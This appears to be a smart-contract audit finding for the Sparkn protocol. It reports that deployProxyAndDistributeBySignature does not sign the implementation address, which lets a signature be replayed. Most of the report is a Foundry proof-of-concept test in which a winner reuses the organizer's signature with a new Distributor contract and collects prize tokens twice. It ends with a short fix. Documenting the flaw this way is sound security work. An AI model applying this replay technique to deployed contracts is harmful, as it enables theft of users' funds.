The deployProxyAndDistributeBySignature function allows to deploy a proxy and distribute funds to winners on behalf of the organizer, by using the EIP-712 standard to verify signatures. But the function is vulnerable to a replay attack that allows users to steal funds, by using the same signature again with another implementation contract.
The parameters passed to the deployProxyAndDistributeBySignature function are the following:
As we can see all the data from the parameters is in the signature except from the implementation address. This allows the following attack path:
To run the following proof of concept, implement it in the Sparkn repo under test/integration and execute it with forge test:
pragma solidity 0.8.18;
import {MockERC20} from "../mock/MockERC20.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {Proxy} from "../../src/Proxy.sol";
import {ProxyFactory} from "../../src/ProxyFactory.sol";
import {Distributor} from "../../src/Distributor.sol";
import {HelperContract} from "./HelperContract.t.sol";
import {ECDSA} from "openzeppelin/utils/cryptography/ECDSA.sol";
contract ReplayAttackTest is StdCheats, HelperContract {
uint256 constant ORGANIZER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
address constant ORGANIZER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
function setUp() public {
if (block.chainid == 31337) {
vm.deal(factoryAdmin, STARTING_USER_BALANCE);
vm.deal(sponsor, SMALL_STARTING_USER_BALANCE);
vm.deal(organizer, SMALL_STARTING_USER_BALANCE);
vm.deal(user1, SMALL_STARTING_USER_BALANCE);
vm.deal(user2, SMALL_STARTING_USER_BALANCE);
vm.deal(user3, SMALL_STARTING_USER_BALANCE);
vm.startPrank(tokenMinter);
MockERC20(jpycv1Address).mint(sponsor, 100_000 ether);
MockERC20(jpycv2Address).mint(sponsor, 300_000 ether);
MockERC20(usdcAddress).mint(sponsor, 10_000 ether);
MockERC20(jpycv1Address).mint(organizer, 100_000 ether);
MockERC20(jpycv2Address).mint(organizer, 300_000 ether);
MockERC20(usdcAddress).mint(organizer, 10_000 ether);
vm.stopPrank();
}
vm.label(organizer, "organizer");
vm.label(sponsor, "sponsor");
vm.label(supporter, "supporter");
vm.label(user1, "user1");
vm.label(user2, "user2");
vm.label(user3, "user3");
}
function createData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
winners[0] = user1;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
}
function createSignatureByASigner(uint256 privateK) public view returns (bytes32, bytes memory, bytes memory) {
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes32 id = bytes32(uint(1));
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(id, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}
function setUpContestForJasonAndSentJpycv2Token(address _organizer, address implementation) public {
vm.startPrank(factoryAdmin);
bytes32 id = bytes32(uint(1));
proxyFactory.setContest(_organizer, id, block.timestamp + 8 days, implementation);
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(_organizer, id, implementation));
address proxyAddress = proxyFactory.getProxyAddress(salt, implementation);
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);
vm.stopPrank();
assertEq(MockERC20(jpycv2Address).balanceOf(proxyAddress), 10000 ether);
}
function test_replay_attack() public {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
setUpContestForJasonAndSentJpycv2Token(ORGANIZER, address(distributor));
vm.warp(block.timestamp + 8.01 days);
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(ORGANIZER_KEY);
assertEq(ECDSA.recover(digest, signature), ORGANIZER);
bytes32 id = bytes32(uint(1));
proxyFactory.deployProxyAndDistributeBySignature(
ORGANIZER, id, address(distributor), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);
vm.warp(block.timestamp + 90 days);
Distributor newImplementationContract = new Distributor(address(proxyFactory), stadiumAddress);
setUpContestForJasonAndSentJpycv2Token(ORGANIZER, address(newImplementationContract));
vm.warp(block.timestamp + 8.01 days);
vm.prank(user1);
proxyFactory.deployProxyAndDistributeBySignature(
ORGANIZER, id, address(newImplementationContract), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether * 2);
}
}
Users are able to steal funds in a straightforward attack path, under certain conditions, which will most likely occur if the protocol is in use and the protocol updates the implementation contract, or even creates multiple implementation contracts.
Add the implementation address into the signature.